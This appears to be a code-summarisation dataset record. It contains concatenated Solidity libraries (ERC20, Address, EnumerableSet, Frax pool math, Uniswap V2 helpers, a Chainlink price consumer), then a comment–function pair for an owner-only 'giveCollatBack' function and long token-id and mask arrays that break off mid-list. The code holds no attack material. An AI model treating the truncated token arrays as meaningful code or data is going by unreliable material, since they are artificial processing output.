/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal virtual {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of `from`'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import "../Common/Context.sol";
import "../Math/SafeMath.sol";
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import "./AggregatorV3Interface.sol";
contract ChainlinkETHUSDPriceConsumer {
AggregatorV3Interface internal priceFeed;
constructor() public {
priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);
}
/**
* Returns the latest price
*/
function getLatestPrice() public view returns (int) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return price;
}
function getDecimals() public view returns (uint8) {
return priceFeed.decimals();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../Math/SafeMath.sol";
library FraxPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 fxs_price_usd;
uint256 col_price_usd;
uint256 fxs_amount;
uint256 collateral_amount;
uint256 col_ratio;
}
struct BuybackFXS_Params {
uint256 excess_collateral_dollar_value_d18;
uint256 fxs_price_usd;
uint256 col_price_usd;
uint256 FXS_amount;
}
// ================ Functions ================
function calcMint1t1FRAX(uint256 col_price, uint256 collateral_amount_d18) public pure returns (uint256) {
return (collateral_amount_d18.mul(col_price)).div(1e6);
}
function calcMintAlgorithmicFRAX(uint256 fxs_price_usd, uint256 fxs_amount_d18) public pure returns (uint256) {
return fxs_amount_d18.mul(fxs_price_usd).div(1e6);
}
// Must be internal because of the struct
function calcMintFractionalFRAX(MintFF_Params memory params) internal pure returns (uint256, uint256) {
// Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error
// The contract must check the proper ratio was sent to mint FRAX. We do this by seeing the minimum mintable FRAX based on each amount
uint256 fxs_dollar_value_d18;
uint256 c_dollar_value_d18;
// Scoping for stack concerns
{
// USD amounts of the collateral and the FXS
fxs_dollar_value_d18 = params.fxs_amount.mul(params.fxs_price_usd).div(1e6);
c_dollar_value_d18 = params.collateral_amount.mul(params.col_price_usd).div(1e6);
}
uint calculated_fxs_dollar_value_d18 =
(c_dollar_value_d18.mul(1e6).div(params.col_ratio))
.sub(c_dollar_value_d18);
uint calculated_fxs_needed = calculated_fxs_dollar_value_d18.mul(1e6).div(params.fxs_price_usd);
return (
c_dollar_value_d18.add(calculated_fxs_dollar_value_d18),
calculated_fxs_needed
);
}
function calcRedeem1t1FRAX(uint256 col_price_usd, uint256 FRAX_amount) public pure returns (uint256) {
return FRAX_amount.mul(1e6).div(col_price_usd);
}
// Must be internal because of the struct
function calcBuyBackFXS(BuybackFXS_Params memory params) internal pure returns (uint256) {
// If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible FXS with the desired collateral
require(params.excess_collateral_dollar_value_d18 > 0, "No excess collateral to buy back!");
// Make sure not to take more than is available
uint256 fxs_dollar_value_d18 = params.FXS_amount.mul(params.fxs_price_usd).div(1e6);
require(fxs_dollar_value_d18 <= params.excess_collateral_dollar_value_d18, "You are trying to buy back more than the excess!");
// Get the equivalent amount of collateral based on the market value of FXS provided
uint256 collateral_equivalent_d18 = fxs_dollar_value_d18.mul(1e6).div(params.col_price_usd);
//collateral_equivalent_d18 = collateral_equivalent_d18.sub((collateral_equivalent_d18.mul(params.buyback_fee)).div(1e6));
return (
collateral_equivalent_d18
);
}
// Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization)
function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) {
uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_collateral_ratio is 1e6
// Subtract the current value of collateral from the target value needed, if higher than 0 then system needs to recollateralize
return target_collat_value.sub(global_collat_value); // If recollateralization is not needed, throws a subtraction underflow
// return(recollateralization_left);
}
function calcRecollateralizeFRAXInner(
uint256 collateral_amount,
uint256 col_price,
uint256 global_collat_value,
uint256 frax_total_supply,
uint256 global_collateral_ratio
) public pure returns (uint256, uint256) {
uint256 collat_value_attempted = collateral_amount.mul(col_price).div(1e6);
uint256 effective_collateral_ratio = global_collat_value.mul(1e6).div(frax_total_supply); //returns it in 1e6
uint256 recollat_possible = (global_collateral_ratio.mul(frax_total_supply).sub(frax_total_supply.mul(effective_collateral_ratio))).div(1e6);
uint256 amount_to_recollat;
if(collat_value_attempted <= recollat_possible){
amount_to_recollat = collat_value_attempted;
} else {
amount_to_recollat = recollat_possible;
}
return (amount_to_recollat.mul(1e6).div(col_price), amount_to_recollat);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './Babylonian.sol';
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import '../Uniswap/Interfaces/IUniswapV2Pair.sol';
import '../Math/FixedPoint.sol';
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './Interfaces/IUniswapV2Pair.sol';
import './Interfaces/IUniswapV2Factory.sol';
import "../Math/SafeMath.sol";
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// Less efficient than the CREATE2 method below
function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = IUniswapV2Factory(factory).getPair(token0, token1);
}
// calculates the CREATE2 address for a pair without making any external calls
function pairForCreate2(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))); // this matches the CREATE2 in UniswapV2Factory.createPair
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
// computes square roots using the babylonian method
// https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
| Give USDC profits back | function giveCollatBack(uint256 amount) public onlyByOwnerOrGovernance {
collateral_token.transfer(address(pool), amount);
}
| 13,908,535 | [
1,
43,
688,
11836,
5528,
9214,
1282,
1473,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
